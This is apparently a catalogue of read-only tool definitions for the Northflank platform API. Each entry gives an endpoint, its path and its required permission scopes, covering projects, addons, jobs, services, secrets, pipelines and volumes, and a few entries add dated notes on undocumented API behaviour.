northflank_get_v1_integrations_ssh_identities (read) — List ssh identities via GET /v1/integrations/ssh-identities. Northflank permission required: Account > Platform > Ssh > Read. GET /api/v1/northflank/v1/integrations/ssh-identities. Scopes: account:platform:ssh:read. northflank_get_v1_integrations_ssh_identities_by_identityid (read) — Get ssh identity via GET /v1/integrations/ssh-identities/{identityId}. Northflank permission required: Account > Platform > Ssh > Read. GET /api/v1/northflank/v1/integrations/ssh-identities/{identityId}. Scopes: account:platform:ssh:read. northflank_get_v1_integrations_vcs (read) — List vcs providers via GET /v1/integrations/vcs. Northflank permission required: Account > Git > General > Read. GET /api/v1/northflank/v1/integrations/vcs. Scopes: account:git:general:read. northflank_get_v1_integrations_vcs_link_sessions_by_linksessionid (read) — Get vcs link session via GET /v1/integrations/vcs/link-sessions/{linkSessionId}. Northflank permission required: Account > Git > General > Manage. GET /api/v1/northflank/v1/integrations/vcs/link-sessions/{linkSessionId}. Scopes: account:git:general:manage. northflank_get_v1_integrations_vcs_repos (read) — List repositories via GET /v1/integrations/vcs/repos. Northflank permission required: Account > Git > General > Read. GET /api/v1/northflank/v1/integrations/vcs/repos. Scopes: account:git:general:read. northflank_get_v1_integrations_vcs_repos_by_vcsservice_by_repositoryowner_by_repositoryname_branches (read) — List branches via GET /v1/integrations/vcs/repos/{vcsService}/{repositoryOwner}/{repositoryName}/branches. Northflank permission required: Account > Git > General > Read. GET /api/v1/northflank/v1/integrations/vcs/repos/{vcsService}/{repositoryOwner}/{repositoryName}/branches. Scopes: account:git:general:read. northflank_get_v1_load_balancers (read) — List load balancers via GET /v1/load-balancers. Northflank permission required: Account > Networking > LoadBalancers > Read. GET /api/v1/northflank/v1/load-balancers. Scopes: account:networking:loadbalancers:read. northflank_get_v1_load_balancers_by_loadbalancerid (read) — Get load balancer via GET /v1/load-balancers/{loadBalancerId}. Northflank permission required: Account > Networking > LoadBalancers > Read. GET /api/v1/northflank/v1/load-balancers/{loadBalancerId}. Scopes: account:networking:loadbalancers:read. northflank_get_v1_logs (read) — Get logs for a resource via GET /v1/logs. Northflank documents no required permission for it. At least one of `projectId` or `clusterId` MUST be supplied, even though Northflank's documentation marks both optional: with neither, the API answers 400 nf-invalid-query-params, "value must contain at least one of [projectId, clusterId]" (measured 2026-09-22, with either one alone accepted). GET /api/v1/northflank/v1/logs. Scopes: none. northflank_get_v1_network_policies_by_networkpolicyid (read) — Get network policy via GET /v1/network-policies/{networkPolicyId}. Northflank permission required: Account > Networking > NetworkPolicies > Read. GET /api/v1/northflank/v1/network-policies/{networkPolicyId}. Scopes: account:networking:networkpolicies:read. northflank_get_v1_opentofu_jobs_by_opentofujobid_logs (read) — Get opentofu job logs via GET /v1/opentofu-jobs/{opentofuJobId}/logs. Northflank permission required: Account > Templates > General > Read. GET /api/v1/northflank/v1/opentofu-jobs/{opentofuJobId}/logs. Scopes: account:templates:general:read. northflank_get_v1_org_members (read) — List org members via GET /v1/org-members. Northflank permission required: Organisation > Admin > Members > Read. GET /api/v1/northflank/v1/org-members. Scopes: organisation:admin:members:read. northflank_get_v1_org_roles (read) — List org roles via GET /v1/org-roles. Northflank permission required: Organisation > Admin > Roles > Read. GET /api/v1/northflank/v1/org-roles. Scopes: organisation:admin:roles:read. northflank_get_v1_org_roles_by_roleid (read) — Get org role via GET /v1/org-roles/{roleId}. Northflank permission required: Organisation > Admin > Roles > Read. GET /api/v1/northflank/v1/org-roles/{roleId}. Scopes: organisation:admin:roles:read. northflank_get_v1_org_roles_by_roleid_members (read) — List org role members via GET /v1/org-roles/{roleId}/members. Northflank permission required: Organisation > Admin > Roles > Read. GET /api/v1/northflank/v1/org-roles/{roleId}/members. Scopes: organisation:admin:roles:read. northflank_get_v1_plans (read) — List plans via GET /v1/plans. Northflank documents no required permission for it. Answers 200 with no credential at all (measured 2026-09-22), so a 200 here says nothing about the connection's token. GET /api/v1/northflank/v1/plans. Scopes: none. northflank_get_v1_projects (read) — List projects via GET /v1/projects. Northflank permission required: Project > Projects > Manage > Read. GET /api/v1/northflank/v1/projects. Scopes: project:projects:manage:read. northflank_get_v1_projects_by_projectid (read) — Get project via GET /v1/projects/{projectId}. Northflank permission required: Project > Projects > Manage > Read. GET /api/v1/northflank/v1/projects/{projectId}. Scopes: project:projects:manage:read. northflank_get_v1_projects_by_projectid_addons (read) — List addons via GET /v1/projects/{projectId}/addons. Northflank permission required: Project > Addons > General > Read. GET /api/v1/northflank/v1/projects/{projectId}/addons. Scopes: project:addons:general:read. northflank_get_v1_projects_by_projectid_addons_by_addonid (read) — Get addon via GET /v1/projects/{projectId}/addons/{addonId}. Northflank permission required: Project > Addons > General > Read. GET /api/v1/northflank/v1/projects/{projectId}/addons/{addonId}. Scopes: project:addons:general:read. northflank_get_v1_projects_by_projectid_addons_by_addonid_backup_schedules (read) — Get addon backup schedules via GET /v1/projects/{projectId}/addons/{addonId}/backup-schedules. Northflank permission required: Project > Addons > General > Read. GET /api/v1/northflank/v1/projects/{projectId}/addons/{addonId}/backup-schedules. Scopes: project:addons:general:read. northflank_get_v1_projects_by_projectid_addons_by_addonid_backups (read) — List addon backups via GET /v1/projects/{projectId}/addons/{addonId}/backups. Northflank permission required: Project > Addons > General > Read. GET /api/v1/northflank/v1/projects/{projectId}/addons/{addonId}/backups. Scopes: project:addons:general:read. northflank_get_v1_projects_by_projectid_addons_by_addonid_backups_by_backupid (read) — Get addon backup via GET /v1/projects/{projectId}/addons/{addonId}/backups/{backupId}. Northflank permission required: Project > Addons > General > Read. GET /api/v1/northflank/v1/projects/{projectId}/addons/{addonId}/backups/{backupId}. Scopes: project:addons:general:read. northflank_get_v1_projects_by_projectid_addons_by_addonid_backups_by_backupid_download_link (read) — Get backup download link via GET /v1/projects/{projectId}/addons/{addonId}/backups/{backupId}/download-link. Northflank permission required: Project > Addons > General > Read. GET /api/v1/northflank/v1/projects/{projectId}/addons/{addonId}/backups/{backupId}/download-link. Scopes: project:addons:general:read. northflank_get_v1_projects_by_projectid_addons_by_addonid_backups_by_backupid_logs (read) — Get addon backup logs via GET /v1/projects/{projectId}/addons/{addonId}/backups/{backupId}/logs. Northflank permission required: Project > Addons > Deployment > View Observability. GET /api/v1/northflank/v1/projects/{projectId}/addons/{addonId}/backups/{backupId}/logs. Scopes: project:addons:deployment:view-observability. northflank_get_v1_projects_by_projectid_addons_by_addonid_backups_by_backupid_restores (read) — List addon backup restores via GET /v1/projects/{projectId}/addons/{addonId}/backups/{backupId}/restores. Northflank permission required: Project > Addons > General > Read. GET /api/v1/northflank/v1/projects/{projectId}/addons/{addonId}/backups/{backupId}/restores. Scopes: project:addons:general:read. northflank_get_v1_projects_by_projectid_addons_by_addonid_backups_by_backupid_restores_by_restoreid_logs (read) — Get addon restore logs via GET /v1/projects/{projectId}/addons/{addonId}/backups/{backupId}/restores/{restoreId}/logs. Northflank permission required: Project > Addons > Deployment > View Observability. GET /api/v1/northflank/v1/projects/{projectId}/addons/{addonId}/backups/{backupId}/restores/{restoreId}/logs. Scopes: project:addons:deployment:view-observability. northflank_get_v1_projects_by_projectid_addons_by_addonid_containers (read) — List addon containers via GET /v1/projects/{projectId}/addons/{addonId}/containers. Northflank permission required: Project > Addons > General > Read. GET /api/v1/northflank/v1/projects/{projectId}/addons/{addonId}/containers. Scopes: project:addons:general:read. northflank_get_v1_projects_by_projectid_addons_by_addonid_credentials (read) — Get addon credentials via GET /v1/projects/{projectId}/addons/{addonId}/credentials. Northflank permission required: Project > Addons > General > Read. GET /api/v1/northflank/v1/projects/{projectId}/addons/{addonId}/credentials. Scopes: project:addons:general:read. northflank_get_v1_projects_by_projectid_addons_by_addonid_logs (read) — Get addon logs via GET /v1/projects/{projectId}/addons/{addonId}/logs. Northflank permission required: Project > Addons > Deployment > View Observability. GET /api/v1/northflank/v1/projects/{projectId}/addons/{addonId}/logs. Scopes: project:addons:deployment:view-observability. northflank_get_v1_projects_by_projectid_addons_by_addonid_metrics (read) — Get addon metrics via GET /v1/projects/{projectId}/addons/{addonId}/metrics. Northflank permission required: Project > Addons > Deployment > View Observability. GET /api/v1/northflank/v1/projects/{projectId}/addons/{addonId}/metrics. Scopes: project:addons:deployment:view-observability. northflank_get_v1_projects_by_projectid_addons_by_addonid_restores (read) — List addon restores via GET /v1/projects/{projectId}/addons/{addonId}/restores. Northflank permission required: Project > Addons > General > Read. GET /api/v1/northflank/v1/projects/{projectId}/addons/{addonId}/restores. Scopes: project:addons:general:read. northflank_get_v1_projects_by_projectid_addons_by_addonid_version (read) — Get addon version details via GET /v1/projects/{projectId}/addons/{addonId}/version. Northflank permission required: Project > Addons > General > Read. GET /api/v1/northflank/v1/projects/{projectId}/addons/{addonId}/version. Scopes: project:addons:general:read. northflank_get_v1_projects_by_projectid_external_addons (read) — List external addons via GET /v1/projects/{projectId}/external-addons. Northflank permission required: Project > ExternalAddons > General > Read. GET /api/v1/northflank/v1/projects/{projectId}/external-addons. Scopes: project:externaladdons:general:read. northflank_get_v1_projects_by_projectid_external_addons_by_externaladdonid (read) — Get external addon via GET /v1/projects/{projectId}/external-addons/{externalAddonId}. Northflank permission required: Project > ExternalAddons > General > Read. GET /api/v1/northflank/v1/projects/{projectId}/external-addons/{externalAddonId}. Scopes: project:externaladdons:general:read. northflank_get_v1_projects_by_projectid_harnesses (read) — List harnesses via GET /v1/projects/{projectId}/harnesses. Northflank permission required: Project > Harnesses > General > Read. GET /api/v1/northflank/v1/projects/{projectId}/harnesses. Scopes: project:harnesses:general:read. northflank_get_v1_projects_by_projectid_harnesses_by_harnessid (read) — Get harness via GET /v1/projects/{projectId}/harnesses/{harnessId}. Northflank permission required: Project > Harnesses > General > Read. GET /api/v1/northflank/v1/projects/{projectId}/harnesses/{harnessId}. Scopes: project:harnesses:general:read. northflank_get_v1_projects_by_projectid_harnesses_by_harnessid_logs (read) — Get harness logs via GET /v1/projects/{projectId}/harnesses/{harnessId}/logs. Northflank permission required: Project > Harnesses > General > Read. GET /api/v1/northflank/v1/projects/{projectId}/harnesses/{harnessId}/logs. Scopes: project:harnesses:general:read. northflank_get_v1_projects_by_projectid_jobs (read) — List jobs via GET /v1/projects/{projectId}/jobs. Northflank permission required: Project > Jobs > General > Read. GET /api/v1/northflank/v1/projects/{projectId}/jobs. Scopes: project:jobs:general:read. northflank_get_v1_projects_by_projectid_jobs_by_jobid (read) — Get job via GET /v1/projects/{projectId}/jobs/{jobId}. Northflank permission required: Project > Jobs > General > Read. GET /api/v1/northflank/v1/projects/{projectId}/jobs/{jobId}. Scopes: project:jobs:general:read. northflank_get_v1_projects_by_projectid_jobs_by_jobid_branches (read) — Get job branches via GET /v1/projects/{projectId}/jobs/{jobId}/branches. Northflank permission required: Project > Jobs > General > Read. GET /api/v1/northflank/v1/projects/{projectId}/jobs/{jobId}/branches. Scopes: project:jobs:general:read. northflank_get_v1_projects_by_projectid_jobs_by_jobid_build (read) — List job builds via GET /v1/projects/{projectId}/jobs/{jobId}/build. Northflank permission required: Project > Jobs > General > Read. GET /api/v1/northflank/v1/projects/{projectId}/jobs/{jobId}/build. Scopes: project:jobs:general:read. northflank_get_v1_projects_by_projectid_jobs_by_jobid_build_arguments (read) — Get job build arguments via GET /v1/projects/{projectId}/jobs/{jobId}/build-arguments. Northflank permission required: Project > Secrets > Jobs > Read. GET /api/v1/northflank/v1/projects/{projectId}/jobs/{jobId}/build-arguments. Scopes: project:secrets:jobs:read. northflank_get_v1_projects_by_projectid_jobs_by_jobid_build_arguments_details (read) — Get job build argument details via GET /v1/projects/{projectId}/jobs/{jobId}/build-arguments/details. Northflank permission required: Project > Secrets > Jobs > Read. GET /api/v1/northflank/v1/projects/{projectId}/jobs/{jobId}/build-arguments/details. Scopes: project:secrets:jobs:read. northflank_get_v1_projects_by_projectid_jobs_by_jobid_build_by_buildid (read) — Get job build via GET /v1/projects/{projectId}/jobs/{jobId}/build/{buildId}. Northflank permission required: Project > Jobs > General > Update. GET /api/v1/northflank/v1/projects/{projectId}/jobs/{jobId}/build/{buildId}. Scopes: project:jobs:general:update. northflank_get_v1_projects_by_projectid_jobs_by_jobid_build_logs (read) — Get job build logs via GET /v1/projects/{projectId}/jobs/{jobId}/build-logs. Northflank permission required: Project > Jobs > Deployment > View Observability. GET /api/v1/northflank/v1/projects/{projectId}/jobs/{jobId}/build-logs. Scopes: project:jobs:deployment:view-observability. northflank_get_v1_projects_by_projectid_jobs_by_jobid_build_metrics (read) — Get job build metrics via GET /v1/projects/{projectId}/jobs/{jobId}/build-metrics. Northflank permission required: Project > Jobs > Deployment > View Observability. GET /api/v1/northflank/v1/projects/{projectId}/jobs/{jobId}/build-metrics. Scopes: project:jobs:deployment:view-observability. northflank_get_v1_projects_by_projectid_jobs_by_jobid_containers (read) — List job containers via GET /v1/projects/{projectId}/jobs/{jobId}/containers. Northflank permission required: Project > Jobs > Deployment > View Observability. GET /api/v1/northflank/v1/projects/{projectId}/jobs/{jobId}/containers. Scopes: project:jobs:deployment:view-observability. northflank_get_v1_projects_by_projectid_jobs_by_jobid_deployment (read) — Get job deployment via GET /v1/projects/{projectId}/jobs/{jobId}/deployment. Northflank permission required: Project > Jobs > General > Read. GET /api/v1/northflank/v1/projects/{projectId}/jobs/{jobId}/deployment. Scopes: project:jobs:general:read. northflank_get_v1_projects_by_projectid_jobs_by_jobid_health_checks (read) — Get job health checks via GET /v1/projects/{projectId}/jobs/{jobId}/health-checks. Northflank permission required: Project > Jobs > General > Read. GET /api/v1/northflank/v1/projects/{projectId}/jobs/{jobId}/health-checks. Scopes: project:jobs:general:read. northflank_get_v1_projects_by_projectid_jobs_by_jobid_logs (read) — Get job logs via GET /v1/projects/{projectId}/jobs/{jobId}/logs. Northflank permission required: Project > Jobs > Deployment > View Observability. GET /api/v1/northflank/v1/projects/{projectId}/jobs/{jobId}/logs. Scopes: project:jobs:deployment:view-observability. northflank_get_v1_projects_by_projectid_jobs_by_jobid_metrics (read) — Get job metrics via GET /v1/projects/{projectId}/jobs/{jobId}/metrics. Northflank permission required: Project > Jobs > Deployment > View Observability. GET /api/v1/northflank/v1/projects/{projectId}/jobs/{jobId}/metrics. Scopes: project:jobs:deployment:view-observability. northflank_get_v1_projects_by_projectid_jobs_by_jobid_pull_requests (read) — Get job pull requests via GET /v1/projects/{projectId}/jobs/{jobId}/pull-requests. Northflank permission required: Project > Jobs > General > Read. GET /api/v1/northflank/v1/projects/{projectId}/jobs/{jobId}/pull-requests. Scopes: project:jobs:general:read. northflank_get_v1_projects_by_projectid_jobs_by_jobid_runs (read) — Get job runs via GET /v1/projects/{projectId}/jobs/{jobId}/runs. Northflank permission required: Project > Jobs > General > Read. GET /api/v1/northflank/v1/projects/{projectId}/jobs/{jobId}/runs. Scopes: project:jobs:general:read. northflank_get_v1_projects_by_projectid_jobs_by_jobid_runs_by_runid (read) — Get run details via GET /v1/projects/{projectId}/jobs/{jobId}/runs/{runId}. Northflank permission required: Project > Jobs > General > Read. GET /api/v1/northflank/v1/projects/{projectId}/jobs/{jobId}/runs/{runId}. Scopes: project:jobs:general:read. northflank_get_v1_projects_by_projectid_jobs_by_jobid_runtime_environment (read) — Get job runtime environment via GET /v1/projects/{projectId}/jobs/{jobId}/runtime-environment. Northflank permission required: Project > Secrets > Jobs > Read. GET /api/v1/northflank/v1/projects/{projectId}/jobs/{jobId}/runtime-environment. Scopes: project:secrets:jobs:read. northflank_get_v1_projects_by_projectid_jobs_by_jobid_runtime_environment_details (read) — Get job runtime environment details via GET /v1/projects/{projectId}/jobs/{jobId}/runtime-environment/details. Northflank permission required: Project > Secrets > Jobs > Read. GET /api/v1/northflank/v1/projects/{projectId}/jobs/{jobId}/runtime-environment/details. Scopes: project:secrets:jobs:read. northflank_get_v1_projects_by_projectid_llm_model_deployments (read) — List ai models via GET /v1/projects/{projectId}/llm-model-deployments. Northflank permission required: Project > AiModels > General > Read. GET /api/v1/northflank/v1/projects/{projectId}/llm-model-deployments. Scopes: project:aimodels:general:read. northflank_get_v1_projects_by_projectid_llm_model_deployments_by_llmmodeldeploymentid (read) — Get ai model via GET /v1/projects/{projectId}/llm-model-deployments/{llmModelDeploymentId}. Northflank permission required: Project > AiModels > General > Read. GET /api/v1/northflank/v1/projects/{projectId}/llm-model-deployments/{llmModelDeploymentId}. Scopes: project:aimodels:general:read. northflank_get_v1_projects_by_projectid_pipelines (read) — List pipelines via GET /v1/projects/{projectId}/pipelines. Northflank permission required: Project > Pipelines > General > Read. GET /api/v1/northflank/v1/projects/{projectId}/pipelines. Scopes: project:pipelines:general:read. northflank_get_v1_projects_by_projectid_pipelines_by_pipelineid (read) — Get pipeline via GET /v1/projects/{projectId}/pipelines/{pipelineId}. Northflank permission required: Project > Pipelines > General > Read. GET /api/v1/northflank/v1/projects/{projectId}/pipelines/{pipelineId}. Scopes: project:pipelines:general:read. northflank_get_v1_projects_by_projectid_pipelines_by_pipelineid_preview_envs (read) — Get preview template via GET /v1/projects/{projectId}/pipelines/{pipelineId}/preview-envs. Northflank permission required: Account > Templates > General > Read. GET /api/v1/northflank/v1/projects/{projectId}/pipelines/{pipelineId}/preview-envs. Scopes: account:templates:general:read. northflank_get_v1_projects_by_projectid_pipelines_by_pipelineid_preview_envs_previews (read) — List preview environments (pipelines) via GET /v1/projects/{projectId}/pipelines/{pipelineId}/preview-envs/previews. Northflank permission required: Account > Templates > General > Read. GET /api/v1/northflank/v1/projects/{projectId}/pipelines/{pipelineId}/preview-envs/previews. Scopes: account:templates:general:read. northflank_get_v1_projects_by_projectid_pipelines_by_pipelineid_preview_envs_runs (read) — List preview template runs via GET /v1/projects/{projectId}/pipelines/{pipelineId}/preview-envs/runs. Northflank permission required: Account > Templates > General > Read. GET /api/v1/northflank/v1/projects/{projectId}/pipelines/{pipelineId}/preview-envs/runs. Scopes: account:templates:general:read. northflank_get_v1_projects_by_projectid_pipelines_by_pipelineid_preview_envs_runs_by_templaterunid (read) — Get preview template run via GET /v1/projects/{projectId}/pipelines/{pipelineId}/preview-envs/runs/{templateRunId}. Northflank permission required: Account > Templates > General > Read. GET /api/v1/northflank/v1/projects/{projectId}/pipelines/{pipelineId}/preview-envs/runs/{templateRunId}. Scopes: account:templates:general:read. northflank_get_v1_projects_by_projectid_pipelines_by_pipelineid_release_flows_by_stage (read) — Get release flow via GET /v1/projects/{projectId}/pipelines/{pipelineId}/release-flows/{stage}. Northflank permission required: Project > Pipelines > General > Read. GET /api/v1/northflank/v1/projects/{projectId}/pipelines/{pipelineId}/release-flows/{stage}. Scopes: project:pipelines:general:read. northflank_get_v1_projects_by_projectid_pipelines_by_pipelineid_release_flows_by_stage_runs (read) — List release flow runs via GET /v1/projects/{projectId}/pipelines/{pipelineId}/release-flows/{stage}/runs. Northflank permission required: Project > Pipelines > General > Read. GET /api/v1/northflank/v1/projects/{projectId}/pipelines/{pipelineId}/release-flows/{stage}/runs. Scopes: project:pipelines:general:read. northflank_get_v1_projects_by_projectid_pipelines_by_pipelineid_release_flows_by_stage_runs_by_runid (read) — Get release flow run details via GET /v1/projects/{projectId}/pipelines/{pipelineId}/release-flows/{stage}/runs/{runId}. Northflank permission required: Project > Pipelines > General > Read. GET /api/v1/northflank/v1/projects/{projectId}/pipelines/{pipelineId}/release-flows/{stage}/runs/{runId}. Scopes: project:pipelines:general:read. northflank_get_v1_projects_by_projectid_preview_blueprints (read) — List preview blueprints via GET /v1/projects/{projectId}/preview-blueprints. Northflank permission required: Project > PreviewBlueprints > General > Read. GET /api/v1/northflank/v1/projects/{projectId}/preview-blueprints. Scopes: project:previewblueprints:general:read. northflank_get_v1_projects_by_projectid_preview_blueprints_by_previewblueprintid (read) — Get preview blueprint via GET /v1/projects/{projectId}/preview-blueprints/{previewBlueprintId}. Northflank permission required: Project > PreviewBlueprints > General > Read. GET /api/v1/northflank/v1/projects/{projectId}/preview-blueprints/{previewBlueprintId}. Scopes: project:previewblueprints:general:read. northflank_get_v1_projects_by_projectid_preview_blueprints_by_previewblueprintid_previews (read) — List preview environments (preview blueprints) via GET /v1/projects/{projectId}/preview-blueprints/{previewBlueprintId}/previews. Northflank permission required: Project > PreviewBlueprints > General > Read. GET /api/v1/northflank/v1/projects/{projectId}/preview-blueprints/{previewBlueprintId}/previews. Scopes: project:previewblueprints:general:read. northflank_get_v1_projects_by_projectid_preview_blueprints_by_previewblueprintid_runs (read) — List preview blueprint runs via GET /v1/projects/{projectId}/preview-blueprints/{previewBlueprintId}/runs. Northflank permission required: Project > PreviewBlueprints > Runs > Read. GET /api/v1/northflank/v1/projects/{projectId}/preview-blueprints/{previewBlueprintId}/runs. Scopes: project:previewblueprints:runs:read. northflank_get_v1_projects_by_projectid_preview_blueprints_by_previewblueprintid_runs_by_runid (read) — Get preview blueprint run details via GET /v1/projects/{projectId}/preview-blueprints/{previewBlueprintId}/runs/{runId}. Northflank permission required: Project > PreviewBlueprints > Runs > Read. GET /api/v1/northflank/v1/projects/{projectId}/preview-blueprints/{previewBlueprintId}/runs/{runId}. Scopes: project:previewblueprints:runs:read. northflank_get_v1_projects_by_projectid_secrets (read) — List project secrets via GET /v1/projects/{projectId}/secrets. Northflank permission required: Project > Secrets > SecretGroups > List. GET /api/v1/northflank/v1/projects/{projectId}/secrets. Scopes: project:secrets:secretgroups:list. northflank_get_v1_projects_by_projectid_secrets_by_secretid (read) — Get project secret via GET /v1/projects/{projectId}/secrets/{secretId}. Northflank documents no required permission for it. GET /api/v1/northflank/v1/projects/{projectId}/secrets/{secretId}. Scopes: none. northflank_get_v1_projects_by_projectid_secrets_by_secretid_addons_by_addonid (read) — Get project secret addon link details via GET /v1/projects/{projectId}/secrets/{secretId}/addons/{addonId}. Northflank documents no required permission for it. GET /api/v1/northflank/v1/projects/{projectId}/secrets/{secretId}/addons/{addonId}. Scopes: none. northflank_get_v1_projects_by_projectid_secrets_by_secretid_details (read) — Get project secret details via GET /v1/projects/{projectId}/secrets/{secretId}/details. Northflank documents no required permission for it. GET /api/v1/northflank/v1/projects/{projectId}/secrets/{secretId}/details. Scopes: none. northflank_get_v1_projects_by_projectid_services (read) — List services via GET /v1/projects/{projectId}/services. Northflank permission required: Project > Services > General > Read. GET /api/v1/northflank/v1/projects/{projectId}/services. Scopes: project:services:general:read. northflank_get_v1_projects_by_projectid_services_by_serviceid (read) — Get service via GET /v1/projects/{projectId}/services/{serviceId}. Northflank permission required: Project > Services > General > Read. GET /api/v1/northflank/v1/projects/{projectId}/services/{serviceId}. Scopes: project:services:general:read. northflank_get_v1_projects_by_projectid_services_by_serviceid_branches (read) — Get service branches via GET /v1/projects/{projectId}/services/{serviceId}/branches. Northflank permission required: Project > Services > General > Read. GET /api/v1/northflank/v1/projects/{projectId}/services/{serviceId}/branches. Scopes: project:services:general:read. northflank_get_v1_projects_by_projectid_services_by_serviceid_build (read) — List service builds via GET /v1/projects/{projectId}/services/{serviceId}/build. Northflank permission required: Project > Services > General > Read. GET /api/v1/northflank/v1/projects/{projectId}/services/{serviceId}/build. Scopes: project:services:general:read. northflank_get_v1_projects_by_projectid_services_by_serviceid_build_arguments (read) — Get service build arguments via GET /v1/projects/{projectId}/services/{serviceId}/build-arguments. Northflank permission required: Project > Secrets > Services > Read. GET /api/v1/northflank/v1/projects/{projectId}/services/{serviceId}/build-arguments. Scopes: project:secrets:services:read. northflank_get_v1_projects_by_projectid_services_by_serviceid_build_arguments_details (read) — Get service build arguments details via GET /v1/projects/{projectId}/services/{serviceId}/build-arguments/details. Northflank permission required: Project > Secrets > Services > Read. GET /api/v1/northflank/v1/projects/{projectId}/services/{serviceId}/build-arguments/details. Scopes: project:secrets:services:read. northflank_get_v1_projects_by_projectid_services_by_serviceid_build_by_buildid (read) — Get service build via GET /v1/projects/{projectId}/services/{serviceId}/build/{buildId}. Northflank permission required: Project > Services > General > Read. GET /api/v1/northflank/v1/projects/{projectId}/services/{serviceId}/build/{buildId}. Scopes: project:services:general:read. northflank_get_v1_projects_by_projectid_services_by_serviceid_build_logs (read) — Get service build logs via GET /v1/projects/{projectId}/services/{serviceId}/build-logs. Northflank permission required: Project > Services > Deployment > View Observability. GET /api/v1/northflank/v1/projects/{projectId}/services/{serviceId}/build-logs. Scopes: project:services:deployment:view-observability. northflank_get_v1_projects_by_projectid_services_by_serviceid_build_metrics (read) — Get service build metrics via GET /v1/projects/{projectId}/services/{serviceId}/build-metrics. Northflank permission required: Project > Services > Deployment > View Observability. GET /api/v1/northflank/v1/projects/{projectId}/services/{serviceId}/build-metrics. Scopes: project:services:deployment:view-observability. northflank_get_v1_projects_by_projectid_services_by_serviceid_containers (read) — List service containers via GET /v1/projects/{projectId}/services/{serviceId}/containers. Northflank permission required: Project > Services > General > Read. GET /api/v1/northflank/v1/projects/{projectId}/services/{serviceId}/containers. Scopes: project:services:general:read. northflank_get_v1_projects_by_projectid_services_by_serviceid_deployment (read) — Get service deployment via GET /v1/projects/{projectId}/services/{serviceId}/deployment. Northflank permission required: Project > Services > General > Read. GET /api/v1/northflank/v1/projects/{projectId}/services/{serviceId}/deployment. Scopes: project:services:general:read. northflank_get_v1_projects_by_projectid_services_by_serviceid_deployments (read) — List service deployments via GET /v1/projects/{projectId}/services/{serviceId}/deployments. Northflank permission required: Project > Services > General > Read. GET /api/v1/northflank/v1/projects/{projectId}/services/{serviceId}/deployments. Scopes: project:services:general:read. northflank_get_v1_projects_by_projectid_services_by_serviceid_health_checks (read) — Get service health checks via GET /v1/projects/{projectId}/services/{serviceId}/health-checks. Northflank permission required: Project > Services > General > Read. GET /api/v1/northflank/v1/projects/{projectId}/services/{serviceId}/health-checks. Scopes: project:services:general:read. northflank_get_v1_projects_by_projectid_services_by_serviceid_logs (read) — Get service logs via GET /v1/projects/{projectId}/services/{serviceId}/logs. Northflank permission required: Project > Services > Deployment > View Observability. GET /api/v1/northflank/v1/projects/{projectId}/services/{serviceId}/logs. Scopes: project:services:deployment:view-observability. northflank_get_v1_projects_by_projectid_services_by_serviceid_metrics (read) — Get service metrics via GET /v1/projects/{projectId}/services/{serviceId}/metrics. Northflank permission required: Project > Services > Deployment > View Observability. GET /api/v1/northflank/v1/projects/{projectId}/services/{serviceId}/metrics. Scopes: project:services:deployment:view-observability. northflank_get_v1_projects_by_projectid_services_by_serviceid_per_replica_volumes (read) — Get service per replica volumes via GET /v1/projects/{projectId}/services/{serviceId}/per-replica-volumes. Northflank permission required: Project > Services > General > Read. GET /api/v1/northflank/v1/projects/{projectId}/services/{serviceId}/per-replica-volumes. Scopes: project:services:general:read. northflank_get_v1_projects_by_projectid_services_by_serviceid_ports (read) — Get service ports via GET /v1/projects/{projectId}/services/{serviceId}/ports. Northflank permission required: Project > Services > General > Read. GET /api/v1/northflank/v1/projects/{projectId}/services/{serviceId}/ports. Scopes: project:services:general:read. northflank_get_v1_projects_by_projectid_services_by_serviceid_pull_requests (read) — Get service pull requests via GET /v1/projects/{projectId}/services/{serviceId}/pull-requests. Northflank permission required: Project > Services > General > Read. GET /api/v1/northflank/v1/projects/{projectId}/services/{serviceId}/pull-requests. Scopes: project:services:general:read. northflank_get_v1_projects_by_projectid_services_by_serviceid_rollout (read) — Get service rollout via GET /v1/projects/{projectId}/services/{serviceId}/rollout. Northflank permission required: Project > Services > General > Read. GET /api/v1/northflank/v1/projects/{projectId}/services/{serviceId}/rollout. Scopes: project:services:general:read. northflank_get_v1_projects_by_projectid_services_by_serviceid_runtime_environment (read) — Get service runtime environment via GET /v1/projects/{projectId}/services/{serviceId}/runtime-environment. Northflank permission required: Project > Secrets > Services > Read. GET /api/v1/northflank/v1/projects/{projectId}/services/{serviceId}/runtime-environment. Scopes: project:secrets:services:read. northflank_get_v1_projects_by_projectid_services_by_serviceid_runtime_environment_details (read) — Get service runtime environment details via GET /v1/projects/{projectId}/services/{serviceId}/runtime-environment/details. Northflank permission required: Project > Secrets > Services > Read. GET /api/v1/northflank/v1/projects/{projectId}/services/{serviceId}/runtime-environment/details. Scopes: project:secrets:services:read. northflank_get_v1_projects_by_projectid_volumes (read) — List volumes via GET /v1/projects/{projectId}/volumes. Northflank permission required: Project > Volumes > General > Read. GET /api/v1/northflank/v1/projects/{projectId}/volumes. Scopes: project:volumes:general:read. northflank_get_v1_projects_by_projectid_volumes_by_volumeid (read) — Get volume via GET /v1/projects/{projectId}/volumes/{volumeId}. Northflank permission required: Project > Volumes > General > Read. GET /api/v1/northflank/v1/projects/{projectId}/volumes/{volumeId}. Scopes: project:volumes:general:read. northflank_get_v1_projects_by_projectid_volumes_by_volumeid_backup_schedules (read) — Get volume backup schedules via GET /v1/projects/{projectId}/volumes/{volumeId}/backup-schedules. Northflank permission required: Project > Volumes > Backups > Read. GET /api/v1/northflank/v1/projects/{projectId}/volumes/{volumeId}/backup-schedules. Scopes: project:volumes:backups:read. northflank_get_v1_projects_by_projectid_volumes_by_volumeid_backups (read) — Get volume backups via GET /v1/projects/{projectId}/volumes/{volumeId}/backups. Northflank permission required: Project > Volumes > Backups > Read. GET /api/v1/northflank/v1/projects/{projectId}/volumes/{volumeId}/backups. Scopes: project:volumes:backups:read. northflank_get_v1_projects_by_projectid_volumes_by_volumeid_backups_by_backupid (read) — Get volume backup details via GET /v1/projects/{projectId}/volumes/{volumeId}/backups/{backupId}. Northflank permission required: Project > Volumes > Backups > Read. GET /api/v1/northflank/v1/projects/{projectId}/volumes/{volumeId}/backups/{backupId}. Scopes: project:volumes:backups:read. northflank_get_v1_projects_by_projectid_workflows (read) — List workflows via GET /v1/projects/{projectId}/workflows. Northflank permission required: Project > Workflows > General > Read. GET /api/v1/northflank/v1/projects/{projectId}/workflows. Scopes: project:workflows:general:read. northflank_get_v1_projects_by_projectid_workflows_by_workflowid (read) — Get workflow via GET /v1/projects/{projectId}/workflows/{workflowId}. Northflank permission required: Project > Workflows > General > Read. GET 